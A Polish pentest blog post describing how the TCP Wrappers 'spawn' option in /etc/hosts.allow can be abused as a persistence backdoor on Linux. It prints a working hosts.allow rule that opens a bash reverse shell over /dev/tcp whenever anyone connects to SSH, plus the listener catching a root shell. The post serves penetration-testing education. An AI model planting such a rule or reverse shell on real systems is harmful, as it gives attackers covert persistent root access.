NFsec Logo

Zamieniamy TCP wrappers w mechanizm persystencji

29/09/2025 (6 dni temu) w Pen Test Brak komentarzy.  (artykuł nr 935, ilość słów: 360)

P

akiet TCP Wrappers jest instalowany domyślnie we wszystkich głównych dystrybucjach systemu Linux. Zapewnia on kontrolę dostępu do usług sieciowych na poziomie hosta. Najważniejszym komponentem tego pakietu jest biblioteka libwrap.so, z obsługą której kompilowane są inne programy. Dzięki temu podczas próby połączenia z danym programem TCP Wrappers na początku odwołuje się do swoich plików dostępu (tj. /etc/hosts.allow i /etc/hosts.deny), aby ustalić, czy klient ma prawo połączyć się z daną usługą. Jeśli klient otrzyma zgodę na połączenie, TCP Wrappers zwalnia kontrolę nad połączeniem z żądaną usługą i nie bierze już udziału w komunikacji między klientem, a serwerem. Oprócz kontroli dostępu i rejestrowania połączeń, TCP Wrappers może wykonywać polecenia w celu interakcji z klientem przed zablokowaniem lub zwolnieniem kontroli nad połączeniem z żądaną usługą sieciową. I tutaj pojawia się przestrzeń na mechanizm utrzymania trwałego dostępu do systemu.

Najbardziej popularną usługą, która posiada wkompilowaną obsługę biblioteki libwrap.so jest SSH:

root@darkstar:~# ldd /usr/sbin/sshd | grep libwrap
	libwrap.so.0 => /lib/x86_64-linux-gnu/libwrap.so.0 (0x00007d107b158000)

Dlatego instalując mechanizm persystencji w TCP Wrappers po pierwsze: nie ingerujemy bezpośrednio w usługę SSH, po drugie: mamy pewność, że prędzej czy później ktoś go uruchomi, ze względu na fakt, że SSH pozostaje główną usługą komunikacji z serwerami Linux:

root@darkstar:~# cat /etc/hosts.allow
sshd: ALL: spawn ( \
  bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/31337 0>&1') & : ALLOW 

Powyższy wpis wykorzystuje opcję spawn, która umożliwia wykonanie polecenia powłoki jako procesu potomnego po zezwoleniu połączenie przez regułę TCP Wrappers dla usługi SSH. W pierwotnym założeniu służy ona głównie do wykonywania takich zadań jak: tworzenie niestandardowych wpisów w logach lub zbieranie informacji o łączącym się hoście bez przerywania samego połączenia. Tutaj wykorzystujemy ją do uruchomienia reverse shell. Jeśli teraz zwykły użytkownik połączy się z usługą SSH – nawet nie wpisując poprawnego hasła – powłoka bash „zadzwoni” na adres atakującego:

agresor@darkstar:~$ nc -l 31337
bash: cannot set terminal process group (1075): Inappropriate ioctl for device
bash: no job control in this shell
root@darkstar:/#

W regule zezwalamy daemonowi SSH na połączenia z dowolnego adresu (ALL), dlatego każde połączenie będzie aktywować nasz mechanizm. W bardziej rozbudowanej wersji możemy dodać weryfikację, czy już mechanizm został uruchomiony, aby nie uruchamiać dalszych instrukcji itp.

Więcej informacji: TCP Wrappers, Using tcpwrappers

Kategorie K a t e g o r i e : Pen Test

Tagi T a g i : , ,

Brak nowszych postów

Komentowanie tego wpisu jest zablokowane.